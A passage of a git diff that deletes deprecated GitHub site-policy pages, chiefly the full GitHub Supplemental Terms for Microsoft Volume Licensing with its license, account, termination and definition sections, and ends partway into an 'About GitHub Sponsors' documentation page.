enhancements, new features, or new functionality, generally indicated by a change in the digit to the right of the first decimal point (e.g., x.x.x to x.y.x) or to the left of the first decimal point (e.g., x.x.x to y.x.x). - -**"Representatives"** means a Party’s employees, agents, independent contractors, consultants, and legal and financial advisors. - -**“Scraping”** means extracting data from the Service via an automated process, such as a bot or webcrawler, and does not include the collection of information through GitHub's API. - -**"Service"** means the hosted GitHub Enterprise Cloud service. The Service includes: Organization account(s), SAML single sign-on, access provisioning, and any applicable Documentation. This list of features and services is non-exhaustive and may be updated from time to time. - -**"Service Credit"** means a dollar credit, calculated as set forth below, that GitHub may credit back to an eligible account. - -**"Software"** means GitHub Enterprise Server on-premises software. Software includes the GitHub Connect feature, any applicable Documentation, any Updates to the Software that GitHub provides to Customer or that it can access under this Agreement, and, if included in Customer’s subscription, Add-On Software. - -**"SOW"** means a mutually executed statement of work detailing the Professional Services GitHub will perform, any related Fees, and each Party's related obligations. - -**“Subscription License”** means the license assigned to each User to install, operate, access, and use the Products on Customer’s behalf. Customer may only assign one Subscription License per User across its GitHub Enterprise Server instances and GitHub Enterprise Cloud Organizations. Each User will have access to as many of Customer’s Enterprise Server instances or Enterprise Cloud Organizations, as Customer permits. For clarity, however, once Customer assigns a Subscription License to a User, Customer will not be authorized to bifurcate the Subscription License so that one User can use a Subscription License on Enterprise Server while another User uses the same Subscription License on another instance of GitHub Enterprise Server or on an Organization on GitHub Enterprise Cloud. - -**“Subscription Term”** means one (1) year from the applicable effective date of an order or as otherwise stated in the Order Form. - -**“Support”** means technical support for the Software or Service that GitHub may provide. - -**“Update”** means a Software release that GitHub makes generally available to its customers, along with any corresponding changes to Documentation, that contains error corrections or bug fixes, generally indicated by a change in the digit to the right of the second decimal point (e.g., x.x.x to x.x.y). - -**“Uptime”** means the percentage of time in a given quarter where GitHub's Essential Services will not be interrupted by an Outage affecting more than 50% of Active Users. - -**“User”** means (i) with respect to the Software, a single person or Machine Account that initiates the execution of the Software or interacts with or directs the Software in the performance of its functions; and (ii) with respect to the Service, an individual or Machine Account who (a) accesses or uses the Service, (b) accesses or uses any part of Customer’s account, or (c) directs the use of Customer’s account in the performance of functions, in each case on Customer’s behalf. The number of Users should not exceed the number of Subscription Licenses that Customer has purchased. - -**“User-Generated Content”** means Content created or owned by a third party or External User. diff --git a/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md b/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md deleted file mode 100644 index 5930d044f597..000000000000 --- a/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md +++ /dev/null @@ -1,333 +0,0 @@ ---- -title: GitHub Supplemental Terms for Microsoft Volume Licensing -hidden: true -redirect_from: - - /articles/GitHub-Supplemental-Terms-for-Microsoft-Volume-Licensing - - /articles/github-supplemental-terms-for-microsoft-volume-licensing - - /github/site-policy/github-supplemental-terms-for-microsoft-volume-licensing - - /github/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing -versions: - fpt: '*' ---- - -_These terms apply to Customers who licensed the Products prior to January 4, 2021. Customers who purchase GitHub Products after that date are directed to https://github.com/customer-terms for current terms._ - -The following GitHub Supplemental Terms (including any applicable Order Forms) supplement Customer's Microsoft volume licensing agreement ("**Microsoft Customer Agreement**") and, together with the Microsoft Customer Agreement, govern Customer's use of the Products (as defined below). The Microsoft Customer Agreement is incorporated herein by this reference. Capitalized terms used but not defined in these supplemental terms have the meanings assigned to them in the Microsoft Customer Agreement. - -These Supplemental Terms apply to the following GitHub Offerings, as further defined below (collectively, the "**Products**"): - -* GitHub Enterprise (comprised of GitHub Enterprise Server, which may include Add-on Software, and GitHub Enterprise Cloud); - -* Any related Support; and - -* Any related Professional Services. - -These GitHub Supplemental Terms include the following Sections and Exhibits, each of which is incorporated by reference herein: - -* SECTION 1: GitHub Enterprise Server License Terms; - -* SECTION 2: GitHub Enterprise Cloud Terms of Service; - -* SECTION 3: General Provisions; and - -* EXHIBIT A: Definitions. - -## SECTION 1: GITHUB ENTERPRISE SERVER LICENSE TERMS - -This Section 1 details terms applicable to Customer’s use of the Software. - -### 1.1 License Grant. - -GitHub grants to Customer a non-exclusive, non-transferable, worldwide, royalty-free, limited-term license to install and use the Software for Customer’s internal business purposes during the applicable Subscription Term, in accordance with the Documentation, and only for the number of Subscription Licenses stated in Customer’s Order Form. The Software includes components licensed to GitHub by third parties, including software whose licenses require GitHub to make the source code for those components available. The source code for such components will be provided upon request. Without limiting the foregoing, this license permits Customer to download and run Microsoft SQL Server Standard Edition container image for Linux files (“**SQL Server Images**”), which may be used only with the Software as documented. Customer’s right to use the SQL Server Images ends when Customer no longer has rights to use the Software, and Customer must uninstall the SQL Server Images when its right to use them ends. Microsoft Corporation may disable SQL Server Images at any time. - -### 1.2 Restrictions. - -Except as expressly permitted by law or by applicable third-party license, Customer and its Affiliates must not and must not allow any third party to: (i) sublicense, sell, rent, lease, transfer, assign, or redistribute the Software; (ii) host the Software for the benefit of third parties; (iii) disclose or permit any third party to access the Software, except as expressly permitted in this Section 1; (iv) hack or modify the License Key, or avoid or change any license registration process; (v) except for Customer Modifications, modify or create derivative works of the Software, or merge the Software with other software; (vi) disassemble, decompile, bypass any code obfuscation, or otherwise reverse engineer the Software or attempt to derive any of its source code, in whole or in part; (vii) modify, obscure, or delete any proprietary rights notices included in or on the Software or Documentation; or (viii) otherwise use or copy the Software or Documentation in a manner not expressly permitted by these GitHub Supplemental Terms. - -### 1.3 Delivery. - -GitHub will make the License Key available for Customer to download on a secure, password-protected website. All deliveries under this Section 1 will be electronic. For the avoidance of doubt, Customer is responsible for installation of any Software and acknowledge that GitHub has no further delivery obligation with respect to the Software after delivery of the License Key. As Updates become available, GitHub will make those available for download on the same website. Customer must Update the Software on a commercially reasonable basis but no less than one (1) time per year. Customer is responsible for maintaining the confidentiality of Customer’s usernames and passwords. - -### 1.4 Verification. - -At GitHub's request, Customer will promptly provide GitHub with a Software-generated report verifying that Customer is using the Software in accordance with these GitHub Supplemental Terms. GitHub will invoice Customer for any additional use, effective from the date its use first exceeded the terms of these GitHub Supplemental Terms. - -### 1.5 Support - -GitHub will provide technical support for the Software as further described in the Microsoft Customer Agreement. GitHub may provide enhanced Support offerings for the Software and Service (including the Premium, Premium Plus, and Engineering Direct Support offerings) in accordance with the [Support terms](/support/learning-about-github-support/about-github-premium-support), and at the Support level, Fees, and Subscription Term specified in an Order Form or SOW. Notwithstanding anything to the contrary in the Microsoft Customer Agreement, (i) GitHub will use reasonable efforts to correct any material, reproducible errors in the Software upon Customer's notification of an error but will not be responsible for providing Support where (a) someone (other than GitHub) modifies the Software; (b) Customer changes its operating system or environment in a way that adversely affects the Software or its performance; (c) Customer uses the Software in a manner other than as authorized under the Microsoft Customer Agreement, this Section 1 or the Documentation; or (d) there is a Customer accident or negligence, or misuse of the Software; and (ii) GitHub will only Support a given Release for one (1) year from the original Release date, or six (6) months from the last Update of the Release, whichever is longer. - -### 1.6 Updates; Releases. - -#### 1.6.1 Generally. - -GitHub will make Updates and Releases to the Software available to Customer on the same secure website where Customer downloaded the Software and the License Key. - -#### 1.6.2 Supported Releases. - -GitHub will only Support a given Release of the Software for one (1) year from the original Release date, or six (6) months from the last Update of the Release, whichever is longer. If Customer requires Support for earlier Releases of the Software, then Customer must pay for that Support in accordance with the terms of a mutually agreed upon Order Form or SOW. - -### 1.7 Add-On Software. - -Add-On Software is licensed on a per User basis. For the avoidance of doubt, and unless otherwise set forth in an Order Form, the number of Subscription Licenses Customer has at any given time for Add-On Software must equal the number of Subscription Licenses Customer has for the Products under this Agreement. For example, if Customer wishes to purchase a subscription to Insights and already holds Subscription Licenses for 100 Users for the Products, it must purchase Subscription Licenses for 100 Users for Insights. - -### 1.8 Data Protection Considerations for Use of GitHub Insights and Learning Lab for Enterprise Server. - -If Customer’s planned use of GitHub Insights or Learning Lab for Enterprise Server involves processing personal data, Customer is solely responsible for determining whether or not to complete a data protection impact assessment or otherwise secure formal legal analysis of Customer’s planned use. It is in Customer’s sole discretion whether to use GitHub Insights or Learning Lab for Enterprise Server to process Customer’s employees’ and/or users’ data, and if Customer does so, Customer is solely responsible for conducting such processing in compliance with applicable law. - -### 1.9 Limited Software Warranty. - -GitHub warrants that, for ninety (90) days from the date it is made available for initial download, the unmodified Software will substantially conform to its Documentation. GitHub does not warrant that Customer's use of the Software will be uninterrupted, or that the operation of the Software will be error-free. This warranty will not apply if Customer modifies or uses the Software in any way that is not expressly permitted by this Section 1 and the Documentation. GitHub's only obligation, and Customer's only remedy, for any breach of this limited warranty will be as set forth in the Microsoft Customer Agreement. - -## SECTION 2: GITHUB ENTERPRISE CLOUD TERMS OF SERVICE - -Upon creation of a Corporate Account and/or an Organization on the Service by Customer or by GitHub on Customer’s behalf, this Section 2 details terms applicable to Customer’s use of the Service. - -### 2.1 Account Terms. - -#### 2.1.1 Account Controls. - - **(i) Users.** Customer acknowledges that Users retain ultimate administrative control over their individual accounts and the Content within them. [GitHub's Standard Terms of Service](/site-policy/github-terms/github-terms-of-service) govern Users' use of the Service, except with respect to Users' activities under this Section 2. - - **(ii) Organizations.** Customer retains ultimate administrative control over any Organization created on Customer’s behalf and User-Generated Content posted to the repositories within its Organization(s), subject to this Section 2. This Section 2 will govern the use of Customer’s Organization(s). - -#### 2.1.2 Account Requirements. - -In order to create an account, Customer must adhere to the following: - -**(i)** Customer must not create an account for use of any person under the age of 13. If GitHub learns of any User under the age of 13, it will terminate that User's account immediately. If Customer or its User(s) are located in a country outside the United States, that country's minimum age may be older; in such a case, Customer is responsible for complying with that country's laws. - -**(ii)** A User’s login may not be shared by multiple people. - -**(iii)** Customer must not use the Service (a) in violation of export control or sanctions laws of the United States or any other applicable jurisdiction, (b) if it is located in or ordinarily resident in a country or territory subject to comprehensive sanctions administered by the U.S. Office of Foreign Assets Control (OFAC), or (c) if Customer is or is working on behalf of a [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) or a person subject to similar blocking or denied party prohibitions. For more information, please see [GitHub’s Trade Controls policy](/site-policy/other-site-policies/github-and-trade-controls). - -#### 2.1.3 Account Security. - -Customer is responsible for: (i) all Content posted and activity that occurs under its Corporate Account; (ii) maintaining the security of its account login credentials; and (iii) promptly notifying GitHub using the contact form available at [GitHub Support](https://support.github.com/) upon becoming aware of any unauthorized use of, or access to, the Service through its account. GitHub will not be liable for any loss or damage from Customer’s failure to comply with this Section 2.1.3. - -#### 2.1.4 Additional Terms. - -In some situations, third parties' terms may apply to Customer’s use of the Service. For example, Customer may be a member of an Organization with its own terms or license agreements; Customer may download an application that integrates with the Service; or Customer may use the Service to authenticate to another service. While the Microsoft Customer Agreement, including these GitHub Supplemental Terms, are GitHub's full agreement with Customer, other parties' terms govern their relationships with Customer. - -#### 2.1.5 U.S. Federal Government Terms. - -If Customer is a U.S. federal government agency or otherwise accessing or using any portion of the Service in a government capacity, the [U.S. Federal Government Amendment](/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users) applies, and Customer agrees to its provisions. - -### 2.2 Compliance with Laws; Acceptable Use; Privacy. - -#### 2.2.1 Compliance with Laws and Regulations. - -Customer’s use of the Service must not violate any applicable laws, including copyright or trademark laws, export control laws, or regulations in its jurisdiction. - -#### 2.2.2 Acceptable Use. - -Customer’s use of the Service must comply with [GitHub's Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies) and [GitHub’s Community Guidelines](/site-policy/github-terms/github-community-guidelines). Customer must not use the Service in any jurisdiction for unlawful, obscene, offensive or fraudulent Content or activity, such as advocating or causing harm, interfering with or violating the integrity or security of a network or system, evading filters, sending unsolicited, abusive, or deceptive messages, viruses or harmful code, or violating third party rights. - -#### 2.2.3 Privacy. - -[The GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement) and the [GitHub Data Protection Addendum](https://github.com/customer-terms) provide detailed notice of GitHub's privacy and data use practices as well as GitHub's processing and security obligations with respect to Customer Personal Data. Any person, entity, or service collecting data from the Service must comply with the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement), particularly in regards to the collection of Users' Personal Information (as defined in the GitHub Privacy Statement). If Customer collects any User Personal Information from GitHub, Customer will only use it for the purpose for which the External User has authorized it. Customer will reasonably secure any such Personal Information, and Customer will respond promptly to complaints, removal requests, and "do not contact" requests from GitHub or External Users. - -### 2.3 Content Responsibility; Ownership; License Rights. - -#### 2.3.1 Responsibility for User-Generated Content. - -Customer may create or upload User-Generated Content while using the Service. Customer is solely responsible for any User-Generated Content that it posts, uploads, links to or otherwise makes available via the Service, regardless of the form of that User-Generated Content. GitHub is not responsible for any public display or misuse of User-Generated Content. - -#### 2.3.2 Ownership of Content, Right to Post, and License Grants. - -**(i)** Customer retains ownership of Customer Content that Customer creates or owns. Customer acknowledges that it: (a) is responsible for Customer Content, (b) will only submit Customer Content that Customer has the right to post (including third party or User-Generated Content), and (c) Customer will fully comply with any third-party licenses relating to Customer Content that Customer posts. - -**(ii)** Customer grants the rights set forth in Sections 2.3.3 through 2.3.6, free of charge and for the purposes identified in those sections until such time as Customer removes Customer Content from GitHub servers, except for Content Customer has posted publicly and that External Users have Forked, in which case the license is perpetual until such time as all Forks of Customer Content have been removed from GitHub servers. If Customer uploads Customer Content that already comes with a license granting GitHub the permissions it needs to run the Service, no additional license is required. - -#### 2.3.3 License Grant to GitHub. - -Customer grants to GitHub the right to store, parse, and display Customer Content, and make incidental copies only as necessary to provide the Service. This includes the right to copy Customer Content to GitHub's database and make backups; display Customer Content to Customer and those to whom Customer chooses to show it; parse Customer Content into a search index or otherwise analyze it on GitHub's servers; share Customer Content with External Users with whom Customer chooses to share it; and perform Customer Content, in case it is something like music or video. These rights apply to both public and Private Repositories. This license does not grant GitHub the right to sell Customer Content or otherwise distribute or use it outside of the Service. Customer grants to GitHub the rights it needs to use Customer Content without attribution and to make reasonable adaptations of Customer Content as necessary to provide the Service. - -#### 2.3.4 License Grant to External Users. - -**(i)** Any Content that Customer posts publicly, including issues, comments, and contributions to External Users' repositories, may be viewed by others. By setting its repositories to be viewed publicly, Customer agree to allow External Users to view and Fork Customer’s repositories. - -**(ii)** If Customer sets its pages and repositories to be viewed publicly, Customer grants to External Users a nonexclusive, worldwide license to use, display, and perform Customer Content through the Service and to reproduce Customer Content solely on the Service as permitted through functionality provided by GitHub (for example, through Forking). Customer may grant further rights to Customer Content if Customer [adopts a license](/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository#including-an-open-source-license-in-your-repository). If Customer is uploading Customer Content that it did not create or own, Customer is responsible for ensuring that the Customer Content it uploads is licensed under terms that grant these permissions to External Users. - -#### 2.3.5 Contributions Under Repository License. - -Whenever Customer makes a contribution to a repository containing notice of a license, Customer licenses such contribution under the same terms and agrees that it has the right to license such contribution under those terms. If Customer has a separate agreement to license its contributions under different terms, such as a contributor license agreement, that agreement will supersede. - -#### 2.3.6 Moral Rights. - -Customer retains all moral rights to Customer Content that it uploads, publishes, or submits to any part of the Service, including the rights of integrity and attribution. However, Customer waives these rights and agrees not to assert them against GitHub, solely to enable GitHub to reasonably exercise the rights granted in Section 2.3, but not otherwise. - -### 2.4 Private Repositories. - -#### 2.4.1 Control. - -Customer is responsible for managing access to its Private Repositories, including invitations, administrative control of Organizations and teams, and termination of access. - -#### 2.4.2 Confidentiality. - -GitHub considers Customer Content in Customer’s Private Repositories to be Customer’s Confidential Information. GitHub will protect and keep strictly confidential the Customer Content of Private Repositories in accordance with the applicable confidentiality provision in the Microsoft Customer Agreement. - -#### 2.4.3 Access. - -GitHub may only access Customer’s Private Repositories (i) with Customer’s consent and knowledge, for support reasons, or (ii) when access is required for security reasons. Customer may choose to enable additional access to its Private Repositories. For example, Customer may enable various GitHub services or features that require additional rights to Customer Content in Private Repositories. These rights may vary depending on the service or feature, but GitHub will continue to treat Customer Content in Customer’s Private Repositories as Customer’s Confidential Information. If those services or features require rights in addition to those it needs to provide the Service, GitHub will provide an explanation of those rights. - -#### 2.4.4 Exclusions. - -If GitHub has reason to believe the Content of a Private Repository is in violation of the law or of these GitHub Supplemental Terms, GitHub has the right to access, review, and remove that Content. Additionally, GitHub may be compelled by law to disclose the Content of Customer’s Private Repositories. Unless otherwise bound by requirements under law or if in response to a security threat or other risk to security, GitHub will provide notice of such actions. - -### 2.5. Intellectual Property Notices. - -#### 2.5.1 GitHub's Rights to Content. - -The look and feel of the Service is copyright © GitHub, Inc. All rights reserved. Customer may not duplicate, copy, or reuse any portion of the HTML/CSS, JavaScript, or visual design elements or concepts without express written permission from GitHub. - -#### 2.5.2 Copyright Infringement and DMCA Policy. - -If Customer is a copyright owner and believes that Content on the Service violates Customer’s copyright, Customer may contact GitHub in accordance with GitHub's [Digital Millennium Copyright Act Policy](https://github.com/contact/dmca) by notifying GitHub via its [DMCA Form](https://github.com/contact/dmca-notice) or by emailing copyright@github.com. - -#### 2.5.3 GitHub Trademarks and Logos. - -If Customer would like to use GitHub's trademarks, Customer must follow all of GitHub's trademark guidelines, including those on the [GitHub Logos and Usage page](https://github.com/logos). - -### 2.6 Suspension. - -GitHub has the right to suspend access to all or any part of the Service, including removing Content, at any time for violation of the Microsoft Customer Agreement, including these GitHub Supplemental Terms, or to protect the integrity, operability, and security of the Service, effective immediately, with or without notice. Unless prohibited by law or legal process or to prevent imminent harm to the Service or any third party, GitHub typically provides notice in the form of a banner or email on or before such suspension. GitHub will, in its discretion and using good faith, tailor any suspension as needed to preserve the integrity, operability, and security of the Service. - -### 2.7 Communications with GitHub. - -For contractual purposes, Customer (1) consents to receive communications in an electronic form via the email address it submitted or via the Service; and (2) agrees that all Terms of Service, agreements, notices, disclosures, and other communications that GitHub provides electronically satisfies any legal requirement that those communications would satisfy if they were on paper. This section does not affect Customer's non-waivable rights. - -### 2.8 Service Level Agreement. - -GitHub’s quarterly uptime commitment for the Service is provided in the [Enterprise Service Level Agreement](/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement). Customer will be entitled to a service credit if GitHub does not meet its service level. - -### 2.9 Service Changes. - -GitHub changes the Service via Updates and addition of new features. Subject to Section 2.8, GitHub reserves the right at any time to modify or discontinue, temporarily or permanently, the Service (or any part of it) with or without notice. - -### 2.10 Additional Service Features. - -Some Service features may be subject to additional terms as set forth in the [GitHub Additional Product Terms](/site-policy/github-terms/github-terms-for-additional-products-and-features). By accessing or using these features, Customer agrees to the GitHub Additional Product Terms. - -## SECTION 3: GENERAL PROVISIONS. - -This Section 3 sets forth the terms and conditions applicable to Customer’s purchase and use of any of the Products. - -### 3.1 Term; Termination; Effect of Termination. - -#### 3.1.1 Term. - -These GitHub Supplemental Terms will continue in effect until terminated by a Party in accordance with this Section 3.1. - -#### 3.1.2 Termination for Convenience; Account Cancellation. - -Either Party may terminate an Order Form or these GitHub Supplemental Terms, without cause, upon at least thirty (30) days' prior written notice before the end of the then-current Subscription Term. If Customer elects to terminate an Order Form or these GitHub Supplemental Terms, it is Customer's responsibility to properly cancel its account with GitHub by going into Settings in the global navigation bar at the top of the screen. GitHub cannot cancel accounts in response to an email or phone request. - -#### 3.1.3 Termination for Material Breach. - -Either Party may terminate these GitHub Supplemental Terms immediately upon notice if the other Party breaches a material obligation under these GitHub Supplemental Terms and fails to cure the breach within thirty (30) days from the date it receives notification. GitHub may terminate these GitHub Supplemental Terms if Customer's Account has been suspended for more than 90 days. - -#### 3.1.4 Effect of Termination. - -Upon termination of these GitHub Supplemental Terms, Customer may not execute additional Order Forms; however, these GitHub Supplemental Terms will remain in effect for the remainder of any active Order Forms. When an Order Form terminates or expires, as to that Order Form: (i) the Subscription Term will immediately end; (ii) any Subscription Licenses in the Order Form will automatically terminate, and Customer will no longer have the right to use the Products; (iii) if any Fees were owed prior to termination, Customer must pay those Fees immediately; (iv) Customer must destroy all copies of the Software in Customer’s possession or control, and certify in writing to GitHub that Customer has done so; (v) each Party will promptly return (or, if the other party requests it, destroy) all Confidential Information belonging to the other to the extent permitted by the Service. Notwithstanding the foregoing, Customer may continue to access the Software to migrate Customer’s data and may request migration of the data in its repositories for up to ninety (90) days after termination or expiration of this Agreement or an Order Form; however, Customer may not use the Software or Service on a production basis during that time. Any provisions which by their nature should reasonably survive will survive the termination or expiration of this Agreement or an Order Form. - -### 3.2 Feedback. - -Customer may provide Feedback to GitHub regarding the Products. Feedback is voluntary and is not Customer Confidential Information, even if designated as such. GitHub may fully exercise and exploit such Feedback for the purpose of (i) improving the operation, functionality and use of GitHub’s existing and future product offerings and commercializing such offerings; and (ii) publishing aggregated statistics about the quality of the Products, provided that no data in any such publication will be used to specifically identify Customer, its employees or Customer’s proprietary software code. - -### 3.3 Compliance with Laws and Regulations. - -Customer will comply with all applicable laws and regulations, including, but not limited to, data protection and employment laws and regulations, in its use of the Products. - -### 3.4 Order of Precedence - -In the event of a conflict between the Supplemental Terms, on one hand, and an Order Form, on the other, the Order Form will govern with respect to that order only. In the event of a conflict between the Supplemental Terms (including any Order Form) and the Microsoft Customer Agreement, the Supplemental Terms will govern with respect to the subject matter only. - -## EXHIBIT A: DEFINITIONS - -**"Active User"** means a User trying to access the Service at the time of an Outage. - -**”Add-On Software”** means Advanced Security, Insights, Learning Lab for Enterprise Server, and other additional Software add-on products that GitHub may offer from time to time. - -**“Advanced Security”** means the Software feature which enables Customer to identify security vulnerabilities through customizable and automated semantic code analysis. - -**"Affiliate"** means any entity that directly or indirectly controls, is controlled by, or is under common control with a party where "control" means having more than fifty percent (50%) ownership or the right to direct the management of the entity. - -**“All Users”** means, collectively, Customer’s Users and External Users who use the Service. - -**“Connect”** or **“GitHub Connect”** means a feature included in the Software that enables Customer to connect the Software with the Service. Use of GitHub Connect is subject to the GitHub Connect terms set forth in the [GitHub Additional Product Terms](/site-policy/github-terms/github-terms-for-additional-products-and-features). - -**"Content"** means, without limitation, text, data, articles, images, photographs, graphics, software, applications, designs, features, and other materials that are featured, displayed, or otherwise made available through the Service. - -**"Corporate Account"** means an account created by a User on behalf of an entity. - -**"Customer"** means, collectively, the company or organization that has entered into these GitHub Supplemental Terms with GitHub by clicking on the "I AGREE" or similar button or by accessing the Products, and Customer's Affiliates and Representatives. - -**"Customer Content"** means Content that Customer creates, owns, or to which Customer holds the rights. - -**“Customer Modifications”** means Software modifications Customer may make solely for the purpose of developing bug fixes, customizations, or additional features to any libraries licensed under open source licenses that may be included with or linked to by the Software. - -**"Documentation"** means any manuals, documentation and other supporting materials relating to the Software or Service that GitHub provides or makes available to Customer. - -**"Effective Date"** is the earlier of the date on which Customer (i) agrees to the terms and conditions of these GitHub Supplemental Terms as described above, or (ii) first places an order for the Products. - -**"Essential Services"** means the services essential to GitHub's core version control functionality, including creating, Forking, and cloning repositories; creating, committing, and merging branches; creating, reviewing, and merging pull requests; and, web, API, and Git client interfaces to the core Git workflows. The following are examples of peripheral features and services not included: webhooks, Gists, Pages, and email notifications. - -**"External User"** means an individual, not including Customer’s Users, who visit or use the Service. - -**"Fees"** means the fees Customer is required to pay GitHub to (i) use the Products during the applicable Subscription Term or (ii) receive Professional Services, as such fees are reflected on an Order Form or SOW. - -**“Feedback”** means any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback on GitHub products or services. - -**“Fork”** means to copy the Content of one repository into another repository. - -**"GitHub"** means, collectively, GitHub, Inc., its Affiliates and Representatives. - -**"GitHub Content"** means Content that GitHub creates, owns, or to which it holds the rights. - -**"GitHub Insights"** or **“Insights”** means the Software feature which provides Customer with metrics, analytics, and recommendations relating to their use of the Software. GitHub Insights does not include legacy features of GitHub including organization insights and repository insights. - -**"Learning Lab for Enterprise Server"** means the Software feature that enables Users to learn about GitHub functionality, including associated Documentation. - -**"License Key"** means the data file used by the Software's access control mechanism that allows Customer to install, operate, and use the Software. - -**“Machine Account”** means an account registered by an individual human who accepts the applicable terms of service on behalf of the Machine Account, provides a valid email address, and is responsible for its actions. A Machine Account is used exclusively for performing automated tasks. Multiple Users may direct the actions of a Machine Account, but the owner of the account is ultimately responsible for the machine's actions. - -**"Order Form"** means written or electronic documentation (including a quote) that the Parties use to order the Products. - -**“Organization”** means a shared workspace that may be associated with a single entity or with one or more Users where multiple Users can collaborate across many projects at once. A User can be a member of more than one Organization. - -**"Outage"** means the interruption of an Essential Service that affects more than 50% of Active Users. - -**“Private Repository”** means a repository which allows a User to control access to Content. - -**"Professional Services"** means training, consulting, or implementation services that GitHub provides pursuant to a mutually executed SOW. Professional Services do not include Support. - -**“Public Repository”** means a repository whose Content is visible to All Users. - -**"Release"** means a Software release that GitHub makes generally available to its customers, along with any corresponding changes to Documentation, that contains enhancements, new features, or new functionality, generally indicated by a change in the digit to the right of the first decimal point (e.g., x.x.x to x.y.x) or to the left of the first decimal point (e.g., x.x.x to y.x.x). - -**"Representatives"** means a Party’s employees, agents, independent contractors, consultants, and legal and financial advisors. - -**“Scraping”** means extracting data from the Service via an automated process, such as a bot or webcrawler, and does not include the collection of information through GitHub's API. - -**"Service"** means the hosted GitHub Enterprise Cloud service. The Service includes: Organization account(s), SAML single sign-on, access provisioning, and any applicable Documentation. This list of features and services is non-exhaustive and may be updated from time to time. - -**"Service Credit"** means a dollar credit, calculated as set forth below, that GitHub may credit back to an eligible account. - -**"Software"** means GitHub Enterprise Server on-premises software. Software includes the GitHub Connect feature, any applicable Documentation, any Updates to the Software that GitHub provides to Customer or that it can access under these GitHub Supplemental Terms, and, if included in Customer’s subscription, Add-On Software. - -**"SOW"** means a mutually executed statement of work detailing the Professional Services GitHub will perform, any related Fees, and each Party's related obligations. - -**“Subscription License”** means the license assigned to each User to install, operate, access, and use the Products on Customer’s behalf. Customer may only assign one Subscription License per User across its GitHub Enterprise Server instances and GitHub Enterprise Cloud Organizations. Each User will have access to as many of Customer’s Enterprise Server instances or Enterprise Cloud Organizations, as Customer permits. For clarity, however, once Customer assigns a Subscription License to a User, Customer will not be authorized to bifurcate the Subscription License so that one User can use a Subscription License on Enterprise Server while another User uses the same Subscription License on another instance of GitHub Enterprise Server or on an Organization on GitHub Enterprise Cloud. Subscription Licenses are granted on a per User basis and multiple Users may not use the same Subscription License. Customer may reassign a Subscription License to a new User only after ninety (90) days from the last reassignment of that same Subscription License, unless the reassignment is due to (i) permanent hardware failure or loss, (ii) termination of the User’s employment or contract, or (iii) temporary reallocation of Subscription Licenses to cover a User’s absence. When Customer reassigns a Subscription License from one User to another, Customer must block the former User’s access to the Subscription License and Customer’s Organizations. - -**“Subscription Term”** means one (1) year from the applicable effective date of an order or as otherwise stated in the Order Form. - -**“Support”** means technical support for the Software or Service that GitHub may provide. - -**“Update”** means a Software release that GitHub makes generally available to its customers, along with any corresponding changes to Documentation, that contains error corrections or bug fixes, generally indicated by a change in the digit to the right of the second decimal point (e.g., x.x.x to x.x.y). - -**“Uptime”** means the percentage of time in a given quarter where GitHub's Essential Services will not be interrupted by an Outage affecting more than 50% of Active Users - -**“User”** means (i) with respect to the Software, a single person or Machine Account that initiates the execution of the Software or interacts with or directs the Software in the performance of its functions; and (ii) with respect to the Service, an individual or Machine Account who (a) accesses or uses the Service, (b) accesses or uses any part of Customer’s account, or (c) directs the use of Customer’s account in the performance of functions, in each case on Customer’s behalf. The number of Users should not exceed the number of Subscription Licenses that Customer has purchased. - -**“User-Generated Content”** means Content created or owned by a third party or External User. diff --git a/content/site-policy/site-policy-deprecated/index.md b/content/site-policy/site-policy-deprecated/index.md deleted file mode 100644 index 3bf0eacdf7e8..000000000000 --- a/content/site-policy/site-policy-deprecated/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Deprecated site policy articles -allowTitleToDifferFromFilename: true -hidden: true -redirect_from: - - /github/site-policy-deprecated -versions: - fpt: '*' -children: - - /amendment-to-github-terms-of-service-applicable-to-us-federal-government-users - - /github-enterprise-cloud-evaluation-agreement - - /github-enterprise-server-license-agreement - - /github-enterprise-service-level-agreement - - /github-enterprise-subscription-agreement - - /github-supplemental-terms-for-microsoft-volume-licensing ---- - diff --git a/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md b/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md deleted file mode 100644 index 016f95611408..000000000000 --- a/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: About GitHub Sponsors -intro: '{% data variables.product.prodname_sponsors %} allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on {% data variables.product.github %}.' -redirect_from: - - /articles/about-github-sponsors - - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Open Source - - Fundamentals ---- - -## About {% data variables.product.prodname_sponsors %} - -{% data reusables.sponsors.sponsorship-details %} - -{% data reusables.sponsors.no-fees %} - -{% data reusables.sponsors.you-can-be-a-sponsored-developer %} For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors) and [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account). - -{% data reusables.sponsors.you-can-be-a-sponsored-organization %} For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). - -When you become a sponsored developer or sponsored organization, additional terms for {% data variables.product.prodname_sponsors %} apply. For more information, see [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-sponsors-additional-terms). - -## About the {% data variables.product.prodname_matching_fund %} - -> [!NOTE] -> {% data reusables.sponsors.matching-fund-eligible %} - -The {% data variables.product.prodname_matching_fund %} aims to benefit members of the {% data variables.product.github %} community who develop open source software that promotes the [{% data variables.product.github %} Community 